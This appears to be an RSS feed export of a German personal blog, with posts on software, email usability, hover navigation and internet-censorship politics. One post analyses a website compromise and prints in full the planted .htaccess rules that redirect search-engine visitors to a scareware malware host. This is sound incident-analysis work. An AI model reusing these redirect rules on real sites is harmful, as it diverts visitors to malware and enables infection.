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	<title>Gedankenkrümel</title>
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	<description>Götz Hoffart</description>
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		<title>Unveränderbares „Fantastical“</title>
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		<pubDate>Tue, 17 May 2011 19:51:01 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Daring Fireball]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[Fantastical]]></category>
		<category><![CDATA[Gruber]]></category>
		<category><![CDATA[John]]></category>
		<category><![CDATA[kalender]]></category>

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		<description><![CDATA[John Grubers Software-Empfehlungen bei Daring Fireball sind fundiert. Er ist kritisch, schreibt kurz und auf den Punkt. Heute vielleicht zu kurz über eine Kalendersoftware „Fantastical“: I’ve been beta-testing it for a few months, and I’m impressed. Diesen Ausschnitt aus den FAQ des Herstellers hat er nämlich vergessen: How do I edit or delete an event? [...]]]></description>
			<content:encoded><![CDATA[<p>John Grubers Software-Empfehlungen bei Daring Fireball sind fundiert. Er ist kritisch, schreibt kurz und auf den Punkt. <a href="http://daringfireball.net/linked/2011/05/17/fantastical">Heute vielleicht <strong>zu</strong> kurz</a> über eine Kalendersoftware „Fantastical“:</p>
<blockquote><p>I’ve been beta-testing it for a few months, and I’m impressed.</p></blockquote>
<p>Diesen Ausschnitt aus den <a href="http://flexibits.com/fantastical_faq">FAQ des Herstellers</a> hat er nämlich vergessen:</p>
<blockquote><p><em>How do I edit or delete an event?</em><br />
Fantastical does not currently support editing or deleting events. These features will come in a free update, which is already in development.</p></blockquote>
<p>Ein Kalender, in dem man nur hinzufügen, aber nicht löschen oder auch nur ändern kann? Was heute nicht alles als 1.0 released wird.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Kontaktfreudigkeit</title>
		<link>http://blog.hoffart.de/2010/06/18/kontaktfreudigkeit/</link>
		<comments>http://blog.hoffart.de/2010/06/18/kontaktfreudigkeit/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 15:05:09 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[User experience]]></category>
		<category><![CDATA[Abmelde-Button]]></category>
		<category><![CDATA[Bandansage]]></category>
		<category><![CDATA[HTML-Mail]]></category>
		<category><![CDATA[WM]]></category>

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		<description><![CDATA[Unternehmen geben oft viel Geld dafür aus, mit ihren Kunden in Kontakt treten zu können. Es werden Social Media-Agenturen beauftragt, Konzepte erarbeitet und umgesetzt. Manchmal wäre es aber viel einfacher Kunden zuzuhören. Ein simples Beispiel, wie man die „User Experience“ verbessern kann, ohne viel Geld auszugeben, ist, dem Kunden die Kommunikationswege nicht zu verbauen. 1. [...]]]></description>
			<content:encoded><![CDATA[<p>Unternehmen geben oft viel Geld dafür aus, mit ihren Kunden in Kontakt treten zu können. Es werden Social Media-Agenturen beauftragt, Konzepte erarbeitet und umgesetzt.</p>
<p>Manchmal wäre es aber viel einfacher Kunden zuzuhören. Ein simples Beispiel, wie man die „User Experience“ verbessern kann, ohne viel Geld auszugeben, ist, dem Kunden die Kommunikationswege nicht zu verbauen.</p>
<h3>1. Werbe-E-Mail</h3>
<p>Heute bekam ich von einem Software-Anbieter eine Werbe-E-Mail. Ich erhalte sie gerne, weil öfter etwas interessantes für mich dabei ist. Aber seit einiger Zeit bekam ich die Mails doppelt, an zwei ver&shy;schiedene E-Mail-Adressen. Daher wollte ich mich von einer der Adress-Einlieferungen abmelden.</p>
<p>Die Originalmail, wie ich sie im Mail-Programm sehe, sieht wie folgt aus:<br />
<a href="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.05.381.png"><img src="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.05.381-300x183.png" alt="" title="Originalmail vom Versender in der Darstellung in Apple Mail" width="300" height="183" class="alignnone size-medium wp-image-172" /></a></p>
<p>Der Versender hat den Textteil der Werbe-E-Mail nicht gut gestaltet:</p>
<ol>
<li>Man sagt dem User, dass er jetzt nichts sehen kann, man solle den Shop besuchen.</li>
<li>Man sagt aber nicht deutlich, warum dem so ist (nämlich dass die HTML-Darstellung ausgeschaltet ist und der Versender keinen Text-Teil mit Inhalt mitliefert).</li>
<li>Der Versender bietet zwar eine Alternative an („besuchen Sie bitte unseren Shop“), aber es wird kein Link zum Shop angezeigt.</li>
<li>Wer unbedacht einfach auf den einzigen Shop-Link klickt, der in der Mail zu finden ist, der landet aber nicht beim Shop des Versenders, sondern beim Hersteller der Webshop-Software.</li>
</ol>
<p>Zusammenfassung: Der Textteil ist irritierend und nicht hilfreich für den User. Und ab&shy;melden kann er sich hier auch nirgends.</p>
<p>Nun können technisch versierte User ahnen, was falsch läuft, und die Darstellung der Mail umschalten:<br />
<a href="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.19.02.png"><img src="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.19.02.png" alt="" title="HTML-/Plain-Text-Auswahl in Apple Mail.app" width="306" height="168" class="alignnone size-full wp-image-171" /></a></p>
<p>Das Ergebnis ist nun inhaltlich vollständig:<br />
<a href="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.05.55.png"><img src="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.05.55-300x183.png" alt="" title="HTML-Teil-Mail vom Versender, mit grauem Abmelde-Button" width="300" height="183" class="alignnone size-medium wp-image-210" /></a></p>
<p>… und man findet unter der Werbung in kleiner Schrift dunkelgrau auf grau „vom Newsletter ab&shy;melden“. Nach einem Klick auf den Link öffnet sich der Web-Browser mit einer langen URL zur Web&shy;site des Ver&shy;senders. Das ist ein nomales Ver&shy;halten, meist kann man dann die Ab&shy;meldung nochmal bestätigen oder andere News&shy;letter-Ein&shy;stellungen ändern.</p>
<h3>2. Abmeldeversuch</h3>
<p>In diesem Fall sah die Webseite aber wie folgt aus:<br />
<a href="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.30.44.png"><img src="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.30.44-300x170.png" alt="" title="Versender-Abmelde-Webseite" width="300" height="170" class="alignnone size-medium wp-image-173" /></a></p>
<p>Der eigentliche Inhalt der Web&shy;seite ist leer, kein „Sie wurden erfolg&shy;reich vom News&shy;letter-Bezug abgemeldet“ (technisch formuliert) oder „Tut uns leid, dass wir Sie mit unseren An&shy;geboten nicht begeistern konnten. Vielleicht wollen Sie uns ja in ein-zwei kurzen Sätzen sagen warum, damit wir das An&shy;gebot ver&shy;bessern können?“ (freundlicher und kunden&shy;orientiert formuliert), nichts. Der User kann sich nun wahl&shy;weise …</p>
<ol>
<li>… denken „hat wohl nicht geklappt“.</li>
<li>… denken „hat wohl geklappt“.</li>
<li>… auf der Webseite nach Abmelde&shy;möglichkeiten recherchieren.</li>
</ol>
<p>Alle drei Möglichkeiten sind nicht das, was der User eigentlich wollte: Sicher&shy;stellen, dass er keine Newsletter-Mails mehr erhält.</p>
<h3>3. Mail-Antwort</h3>
<p>Ich habe dann die ursprüngliche Werbe-Mail per „Antworten“-Funktion im Mail-Programm beantwortet:<br />
<a href="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.36.41.png"><img src="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.36.41-269x300.png" alt="" title="Antwortmail an den Versender mit Bitte um Reparatur" width="269" height="300" class="alignnone size-medium wp-image-175" /></a></p>
<p>Ich bat also darum, meine Adresse aus dem Verteiler zu streichen und die Funktion des Newsletters/der Webseite zu reparieren. Zur Unter&shy;stützung hatte ich noch einen Screenshot beigefügt.</p>
<p>Ein paar Minuten später erhielt ich eine Mail:<br />
<a href="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.03.26.png"><img src="http://blog.hoffart.de/wp-content/uploads/2010/06/Bildschirmfoto-2010-06-18-um-15.03.26-300x163.png" alt="" title="Mails an den Versender kommen nicht an" width="300" height="163" class="alignnone size-medium wp-image-176" /></a></p>
<p>Meine Antwortmail konnte nicht zugestellt werden, da die in der Werbe&shy;mail angegebene Versand&shy;adresse nicht existiert.</p>
<h3>4. Anruf</h3>
<p>Also bleibt nur ein Griff zum Telefonhörer, ich wollte die Mitarbeiter auf das Kommunikationsdefizit aufmerksam machen.</p>
<p>Das Ergebnis des Anrufs: </p>
<blockquote><p>„[…] Leider rufen Sie außerhalb unserer Geschäftszeiten an. Sie erreichen uns täglich von Montags bis Freitags von 9 bis 16 Uhr.“</p></blockquote>
<p> [<a href='http://blog.hoffart.de/wp-content/uploads/2010/06/Versender-Bandansage.mp3'>Bandansage (14 Sekunden MP3, 340&nbsp;KB)</a>]</p>
<p>Ein Blick auf meine Uhr sagte: 15:04 Uhr.</p>
<h3>5. User experience</h3>
<p>Wie war nun zusammenfassend die User Experience mit der Firma?</p>
<ol>
<li>Der User erhielt eine Mail-Dublette und musste sowohl den Shop als auch den Abmelde-Knopf erst mühsam suchen.</li>
<li>Der Abmelde-Knopf funktioniert nicht.</li>
<li>Die Absender-Adresse der Mail ist ungültig, man kann keine E-Mails zustellen.</li>
<li>Man ruft telefonisch innerhalb der Öffnungszeiten an und erfährt, dass man außerhalb der Öffnungszeiten anruft.</li>
</ol>
<h3>6. Was kann man daraus lernen?</h3>
<ol>
<li>In Rundmails nicht nur einen (gut gestalteten) HTML-Teil ausliefern, sondern auch an den Textteil denken.</li>
<li>Alle wesentlichen Inhalte sollten auch im Textteil der Mail enthalten sein, mindestens aber ein Link zum Inhalt und ein Abmelde- oder Kontakt-Link.</li>
<li>Andere und inhaltsfremde Links sind irreführend und sollten vermieden werden.</li>
<li>Die Abmeldefunktion muss gut und regelmäßig getestet sein&nbsp;– nicht nur wegen der User Experience, sondern auch um rechtliche Rahmen&shy;bedingungen zu erfüllen und in keine Ab&shy;mahn&shy;fallen zu laufen.</li>
<li>Die Absenderadresse von Rundmails muss sowohl gültig sein als auch gelesen werden.</li>
<li>Innerhalb der Öffnungszeiten dürfen keine Bandansagen laufen, dass man außerhalb der Öffnungszeiten anrufen würde. Falls man aus anderen Gründen nicht erreichbar ist (etwa wenn ein WM-Spiel ist), dann muss das so auch gesagt werden.</li>
</ol>
]]></content:encoded>
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		<title>Hover ist raus</title>
		<link>http://blog.hoffart.de/2010/01/28/hover-ist-raus/</link>
		<comments>http://blog.hoffart.de/2010/01/28/hover-ist-raus/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 10:28:32 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Hover]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[WAI]]></category>
		<category><![CDATA[Web 2.0]]></category>

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		<description><![CDATA[Schon öfter votierte ich in Diskussionen rund um größere Web-Projekte Kunden gegenüber kontra Hover-gesteuerte Benutzerführungen. Meine Gründe für die Ablehnung von »Hover« als gestaltende Steuerung sind vielfältig: Die überraschenden Effekte, wenn man »nur mal schnell mit der Maus da rüber fährt« um etwas ganz anderes zu tun, aber durch das überstreichen (hovern) Aktionen auf der [...]]]></description>
			<content:encoded><![CDATA[<p>Schon öfter votierte ich in Diskussionen rund um größere Web-Projekte Kunden gegenüber kontra Hover-gesteuerte Benutzerführungen. Meine Gründe für die Ablehnung von »Hover« als gestaltende Steuerung sind vielfältig:</p>
<ol>
<li>Die überraschenden Effekte, wenn man »nur mal schnell mit der Maus da rüber fährt« um etwas ganz anderes zu tun, aber durch das überstreichen (hovern) Aktionen auf der Website unabsichtlich auslöst. Vor allem unerfahrene Benutzer sind dann irritiert&nbsp;- zu Recht, denn die typischen Betriebssysteme (Windows, Mac OS X, Gnome/KDE) erziehen zum »zeigen und klicken«, d.h. ein Klick löst eine Aktion aus, nicht ein überstreichen.</li>
<li>Für Hardcore-Nutzer sind Hover-Effekte schwer per Tastatur zu steuern, gleiches gilt für Leute mit Einschränkungen, seien sie durch Eingabegeräte vorgegeben oder körperlich bedingt. Grafik-Tabletts kennen ein »Hover« seltenst, und ein »überstreichen« ist auch nur bei relativer Mauszeiger-Positionierung gut zu handhaben, nicht bei absoluter. Auch mit Kopfmäusen ist ein »Hover« schwer in den Griff zu bekommen.</li>
<li>Geräte wie das iPhone sind durch ein Touchdisplay zu steuern&nbsp;– auch dieses kennt, wie die meisten Grafik-Tabletts, natürlich kein »Hover«, da man nicht mit dem Finger über dem Display schwebend steuern will. Die Wahrscheinlichkeit der ungewollten Fehlbedienung wäre sehr hoch.</li>
</ol>
<p>In den genannten Diskussionen hörte ich öfter ein »ja, schon« auf meine Einwände und Alternativ-Vorschläge, wie die Bedienung erfolgen könne. »Aber wer hat schon ein Grafik-Tablett« oder »niemand surft ernsthaft mit dem iPhone«, eventuell garniert mit »Tablet-PCs haben sich nie durchgesetzt«.</p>
<p>Die Summe meiner Argumente war zwar stark, das einzelne Argument für sich alleine war aber in den Augen vieler Kunden schwach.</p>
<p>Ich denke, dass mit dem neuen iPad von Apple die allgemeine Akzeptanz des Arguments »hover ist raus« nun steigt. Danke, Apple.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Lückenlosigkeit</title>
		<link>http://blog.hoffart.de/2009/12/30/lueckenlosigkeit/</link>
		<comments>http://blog.hoffart.de/2009/12/30/lueckenlosigkeit/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 18:14:00 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Politik]]></category>
		<category><![CDATA[Sicherwahn]]></category>
		<category><![CDATA[Terror]]></category>

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		<description><![CDATA[Der knapp vereitelte Anschlag auf eine Linienmaschine nach Detroit macht deutlich, dass die Sicherheitskontrollen in der Praxis nicht lückenlos sind. sagt der SPD-Bundestagsabgeordnete Frank Hofmann, stellvertretender Vorsitzender des Innenausschusses laut der Website der SPD-Fraktion. Danach fordert er unter anderem mehr Technik. Viel mehr Technik. Und noch mehr und besseres Sicherheitspersonal. Glaubt er wirklich, dass man [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>
Der knapp vereitelte Anschlag auf eine Linienmaschine nach Detroit macht deutlich, dass die Sicherheitskontrollen in der Praxis nicht lückenlos sind.
</p></blockquote>
<p>sagt der SPD-Bundestagsabgeordnete Frank Hofmann, stellvertretender Vorsitzender des Innenausschusses laut der <a href="http://www.spdfraktion.de/cnt/rs/rs_dok/0,,50295,00.html">Website der SPD-Fraktion</a>.</p>
<p>Danach fordert er unter anderem mehr Technik. Viel mehr Technik. Und noch mehr und besseres Sicherheitspersonal.</p>
<p>Glaubt er wirklich, dass man damit Terroranschläge „lückenlos“ verhindern kann? Wenn ja – warum? Will er auch Sicherheitsschleusen mit Nacktscannern vor dem Alexanderplatz? Dem Europaplatz? Vor einem neu eröffnenden Elektronikmarkt? Vor Autobahnauffahrten? Vor Schulen? </p>
<p>Überall dort klafft derzeit eine riesige Lücke im sogenannten Kampf gegen den Terror. Wollen wir ihn gewinnen, indem wir diese Lücken schließen? Oder bauen wir damit nicht unser eigenes Gefängnis? </p>
<p><ins datetime="2009-12-30T19:15:51+00:00"><strong>Nachtrag I:</strong> <a href="http://www.cnn.com/2009/OPINION/12/29/schneier.air.travel.security.theater/index.html">Is aviation security mostly for show?</a></ins></p>
<p><ins datetime="2010-01-06T10:13:58+00:00"><strong>Nachtrag II:</strong> <a href="http://www.netzpolitik.org/2010/freiheit-freiheit-ueber-alles-peter-voss-fragt-die-schriftstellerin-juli-zeh-video/">Interview mit Juli Zeh von Peter Voß</a></ins></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Bitte setzen Sie ein Kreuzchen …</title>
		<link>http://blog.hoffart.de/2009/09/15/bitte-setzen-sie-ein-kreuzchen/</link>
		<comments>http://blog.hoffart.de/2009/09/15/bitte-setzen-sie-ein-kreuzchen/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 09:24:42 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[EDV]]></category>
		<category><![CDATA[Spass]]></category>

		<guid isPermaLink="false">http://blog.hoffart.de/?p=125</guid>
		<description><![CDATA[Die netapp.com-Web-Suche findet sinnvolle Links zu ihrem Produkt FAS 270. Auf der Seite erfährt man etwas über die Produkte und die iSCSI-Tauglichkeit mit einem gegebenen Initiator. Sie haben auf der deutschsprachigen Seite eine 00800-Nummer angegeben, daneben steht „Los geht&#8217;s“ Ich hab da angerufen. Da geht dann auch jemand deutschsprachiges ran. Da geht überhaupt jemand ran. [...]]]></description>
			<content:encoded><![CDATA[<form style='text-align:left'></p>
<table>
<tr>
<td style="vertical-align:top">
<input readonly type="checkbox" /> </td>
<td>Die netapp.com-Web-Suche findet sinnvolle Links zu ihrem Produkt FAS 270.</td>
</tr>
<tr>
<td style="vertical-align:top">
<input readonly type="checkbox" /> </td>
<td>Auf der Seite erfährt man etwas über die Produkte und die iSCSI-Tauglichkeit mit einem gegebenen Initiator.</td>
</tr>
<tr>
<td style="vertical-align:top">
<input readonly type="checkbox" checked /> </td>
<td>Sie haben auf der deutschsprachigen Seite eine 00800-Nummer angegeben, daneben steht „Los geht&#8217;s“</td>
</tr>
<tr>
<td style="vertical-align:top">
<input readonly type="checkbox" checked /> </td>
<td>Ich hab da angerufen.</td>
</tr>
<tr>
<td style="vertical-align:top">
<input readonly type="checkbox" /> </td>
<td>Da geht dann auch jemand deutschsprachiges ran.</td>
</tr>
<tr>
<td style="vertical-align:top">
<input readonly type="checkbox" /> </td>
<td>Da geht überhaupt jemand ran.</td>
</tr>
<tr>
<td style="vertical-align:top">
<input readonly type="checkbox" checked /></td>
<td>Da ist dann eine Voicebox und man kann eine Nachricht hinterlassen.</td>
</tr>
<tr>
<td style="vertical-align:top">
<input readonly type="checkbox" /> </td>
<td>So macht Kommunikation echt Spaß.</td>
</tr>
<tr>
<td style="vertical-align:top">
<input readonly type="checkbox" checked /> </td>
<td>Danach wollten sie in einer 10minütigen Web-Umfrage wissen, wie zufrieden ich war, mit ganz vielen Kreuzchen zum setzen. Also ungefähr so wie hier.</td>
</tr>
</table>
</form>
]]></content:encoded>
			<wfw:commentRss>http://blog.hoffart.de/2009/09/15/bitte-setzen-sie-ein-kreuzchen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bewährte Methoden?</title>
		<link>http://blog.hoffart.de/2009/06/18/bewaehrte-methoden/</link>
		<comments>http://blog.hoffart.de/2009/06/18/bewaehrte-methoden/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 18:14:20 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Politik]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Stop]]></category>
		<category><![CDATA[von der Leyen]]></category>

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		<description><![CDATA[Ursula von der Leyen sollte ihre Vorgehensweise gegen Kinderpornographie im Web mal anderen Ministerien näher erläutern, so bekommen wir bestimmt noch viele andere Probleme schnell und billig „gelöst“: Quelle]]></description>
			<content:encoded><![CDATA[<p>Ursula von der Leyen sollte ihre Vorgehensweise gegen Kinderpornographie im Web mal anderen Ministerien näher erläutern, so bekommen wir bestimmt noch viele andere Probleme schnell und billig „gelöst“:</p>
<p><img src="http://blog.hoffart.de/wp-content/uploads/2009/06/zensursula1.jpg" alt="Zensursula stoppt Obdachlosigkeit" title="Zensursula stoppt nun auch Obdachlosigkeit" width="378" height="243" class="alignnone size-full wp-image-121 gray-border" /></p>
<p><a href="http://www.mediengestalter.cc/2009/06/17/allgemein/zensursula-aus-designersicht/">Quelle</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hoffart.de/2009/06/18/bewaehrte-methoden/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fehlgeleitet: Webseiten-Schädlingsbefall</title>
		<link>http://blog.hoffart.de/2009/06/18/fehlgeleitet-webseiten-schaedlingsbefall/</link>
		<comments>http://blog.hoffart.de/2009/06/18/fehlgeleitet-webseiten-schaedlingsbefall/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 09:50:38 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[Botnetz]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[Schädling]]></category>

		<guid isPermaLink="false">http://blog.hoffart.de/?p=117</guid>
		<description><![CDATA[Bei einer Analyse einer Kunden-Domain fiel die .htaccess-Datei ins Auge: RewriteEngine On RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC] RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L] Sie stammt nicht vom Kunden, sondern ein Cracker hatte sich die FTP-Zugangsdaten per trojanischem Pferd [...]]]></description>
			<content:encoded><![CDATA[<p>Bei einer Analyse einer Kunden-Domain fiel die .htaccess-Datei ins Auge:</p>
<p><code><br />
RewriteEngine On<br />
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]<br />
RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]<br />
</code></p>
<p>Sie stammt nicht vom Kunden, sondern ein Cracker hatte sich die FTP-Zugangsdaten per trojanischem Pferd vom Windows-Rechner des Kunden erschlichen. Mit diesen Zugangsdaten wurde dann obige .htaccess-Datei auf den Kunden-Webspace hochgeladen, außerdem auch einige Casino-/Porno-Links in einen &lt;noframes&gt;-Bereich der Webseite untergebracht.</p>
<p>Das perfide ist aber die .htaccess-Datei. Sie weist das Apache-Modul mod_rewrite an bei eingehenden Anforderungen an den Webserver zu prüfen, von wo der Surfer kommt (HTTP_REFERER). Hat der Surfer einen harmlosen Treffer auf einer Suchmaschinenseite angeklickt, die zu eben jener Kundenpräsenz führt, dann greifen obige Regeln: Kommt man von *oogle.*, *aol.* etc., dann greift die letzte Zeile mit der Regel (RewriteRule): Umleiten des Surfers auf die angegebene Adresse 87.248.180.89. Somit bekommt man bspw. von Google aus einen Treffer zu Brotbackautomaten, den man anklickt, landet aber nach dem Klick nicht auf der Brotbackautomaten-Seite, sondern auf der Seite des Schädlingsautors.</p>
<p>Dort war bisher eine Website zu finden, die in der Aufmachung an einen Virenscanner unter Windows XP erinnerte. Elemente waren so gezeichnet, dass sie wie Windows-Fenster aussahen. Dazu wurden Icons von Festplattenlaufwerken C: und D: eingeblendet und ein Fortschrittsbalken, der einen Überprüfungsvorgang der vermeintlichen Antiviren-Software aussah.</p>
<p>Und natürlich fand diese angebliche Überprüfung der angeblich eigenen Festplatte dann auch gleich Treffer: eine Warnmeldung schlug vor, gegen den gerade gefundenen Virus doch gleich das Gegenmittel herunterzuladen und zu starten.</p>
<p>Wenn man das dann getan hätte, hätte sich der Kreis geschlossen: ein weiterer PC wäre mit einem Schädling befallen gewesen, der dann im Hintergrund und unauffällig alles mit Windows hätte tun können: Tastatureingaben mitlesen und nach draußen übermitteln, als Spam-Drohne dienen (im Auftrag von anderen hätte der eigene PC dann unbemerkt Spam-Mails versandt) und/oder Teil eines Bot-Netzes zu werden.</p>
<p>Der Provider der Schädlingsseite hat nun den Webspace gelöscht oder abgedreht, die Seite ist nicht mehr erreichbar.</p>
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		<title>Babel fish ist nicht Babelfisch</title>
		<link>http://blog.hoffart.de/2009/05/31/babelfish-ist-nicht-babelfisch/</link>
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		<pubDate>Sun, 31 May 2009 14:58:56 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Yahoo]]></category>

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		<description><![CDATA[Babelfish nutzte ich schon gerne zu Altavistas Zeiten, der neue Eigner Yahoo scheint dem Tierchen jedoch nicht seine gewohnte Nahrung zu geben: externe Gehirnwellen. Nur so ist zu erklären, dass wirr erscheint seine Ausgabe: (Und, unter uns: meine Anfrage war nicht fehlerhaft.)]]></description>
			<content:encoded><![CDATA[<p>Babelfish nutzte ich schon gerne zu Altavistas Zeiten, der neue Eigner Yahoo scheint dem Tierchen jedoch nicht seine gewohnte Nahrung zu geben: <a href="http://de.wikipedia.org/wiki/Babelfisch">externe Gehirnwellen</a>. Nur so ist zu erklären, dass wirr erscheint seine Ausgabe:</p>
<p><img src="http://blog.hoffart.de/wp-content/uploads/2009/05/yahoo-babelfish-blurp.png" alt="Yahoo: Babelfish-Blurp" title="Yahoo: Babelfish-Blurp" width="450" height="149" class="alignnone size-full wp-image-112 gray-border" /></p>
<p>(Und, unter uns: meine <em>Anfrage</em> war nicht fehlerhaft.)</p>
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		<title>Ins Leere geworben</title>
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		<pubDate>Sun, 31 May 2009 14:51:21 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Amazon]]></category>
		<category><![CDATA[Werbung]]></category>

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		<description><![CDATA[Ich dachte immer, Werbung solle (ggfs. langfristig) Kunden dazu bringen, die beworbenen Produkte zu kaufen. Offenbar eine altmodische Sichtweise. Heute wirbt man und will dann gar nicht verkaufen! Das muss eine moderne Maßnahme zur Steigerung der Marken^WBrand-Awareness sein, von der ich keine Ahnung habe. Bei der Suche nach Intels neuem D945GSEJT-Mainboard stieß ich auf die [...]]]></description>
			<content:encoded><![CDATA[<p>Ich dachte immer, Werbung solle (ggfs. langfristig) Kunden dazu bringen, die beworbenen Produkte zu kaufen.</p>
<p>Offenbar eine altmodische Sichtweise. Heute wirbt man und will dann gar nicht verkaufen! Das muss eine moderne Maßnahme zur Steigerung der Marken^WBrand-Awareness sein, von der ich keine Ahnung habe.</p>
<p>Bei der Suche nach Intels neuem D945GSEJT-Mainboard stieß ich auf die Werbeanzeige:</p>
<p><img src="http://blog.hoffart.de/wp-content/uploads/2009/05/amazon-intel-d945gsejt-1.png" title="Amazons Werbung für das Intel D945GSEJT" width="188" height="86" class="size-full wp-image-104 gray-border" /></p>
<p>Das war ja genau, was ich suchte! Und da sonst wenig verwertbare Treffer bei Google zu finden waren, klickte ich darauf, um zu erfahren …</p>
<p><img src="http://blog.hoffart.de/wp-content/uploads/2009/05/amazon-intel-d945gsejt-2.png" alt="Amazon-Treffer für Intel D945GSEJT" title="Amazon-Treffer für Intel D945GSEJT" width="444" height="153" class="alignnone size-full wp-image-105 gray-border" /></p>
<p>Aber <a href="http://blog.hoffart.de/2008/07/29/googleads-geld-zum-fenster-hinaus/">Außer Spesen nichts gewesen</a> scheint en vogue zu sein.</p>
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		<title>Web-Zensur: Suggestivfragen stützten von-der-Leyen-Vorschlag</title>
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		<pubDate>Wed, 20 May 2009 13:18:16 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Politik]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Internet-Zensur]]></category>
		<category><![CDATA[Sicherwahn]]></category>
		<category><![CDATA[von der Leyen]]></category>

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		<description><![CDATA[Die gerade durch die Presse gerauschten 92% der Bundesbürger, die sich für den von-der-Leyen-Vorschlag für Internet-Zensur (die dort so natürlich nicht genannt wurde) ausgesprochen haben, kamen nicht unwesentlich durch Suggestiv-Fragen der in Auftrag gebenden „Deutschen Kinderhilfe“ zustande. Der Verein „Mogis – Missbrauchsopfer gegen Internetsperren“ gab beim selben Umfrageinstitut (Infratest Dimap) eine Umfrage zum selben Thema, [...]]]></description>
			<content:encoded><![CDATA[<p>Die gerade durch die Presse gerauschten 92% der Bundesbürger, die sich für den von-der-Leyen-Vorschlag für Internet-Zensur (die dort so natürlich nicht genannt wurde) ausgesprochen haben, kamen nicht unwesentlich durch Suggestiv-Fragen der in Auftrag gebenden „Deutschen Kinderhilfe“ zustande.</p>
<p>Der Verein „Mogis – Missbrauchsopfer gegen Internetsperren“ gab beim selben Umfrageinstitut (Infratest Dimap) eine Umfrage zum selben Thema, aber mit anders formulierten Fragen in Auftrag.</p>
<p>Schon wurden aus der Zustimmung von 92% für die Fragestellung <cite>„Die Bundesregierung plant ein Gesetz zur Sperrung von kinderpornographischen Seiten im Internet. Kritiker befürchten eine Zensur und bezweifeln die Wirksamkeit solcher Sperren. Befürworter betonen dagegen, dass solche Sperren eine sinnvolle und wirksame Maßnahme gegen die Verbreitung solcher Bilder sind. Wie sehen Sie das: Sind Sie für ein Gesetz zur Sperrung kinderpornographischer Seiten im Internet oder dagegen?“</cite> nur noch 5% (Zustimmung zur Aussage <cite>„Der Zugang zu Internetseiten mit Kinderpornographie sollte durch eine Sperre erschwert werden, das reicht aus, auch wenn die Seiten selbst dann noch vorhanden und für jedermann erreichbar sind.“</cite>)</p>
<p>Waren in der ersten Umfrage über 90% für Netzsperren, ist es in der zweiten Umfrage genau umgekehrt.</p>
<p>Ein Sachbeitrag zur Debatte war die Umfrage der Deutschen Kinderhilfe somit nicht.</p>
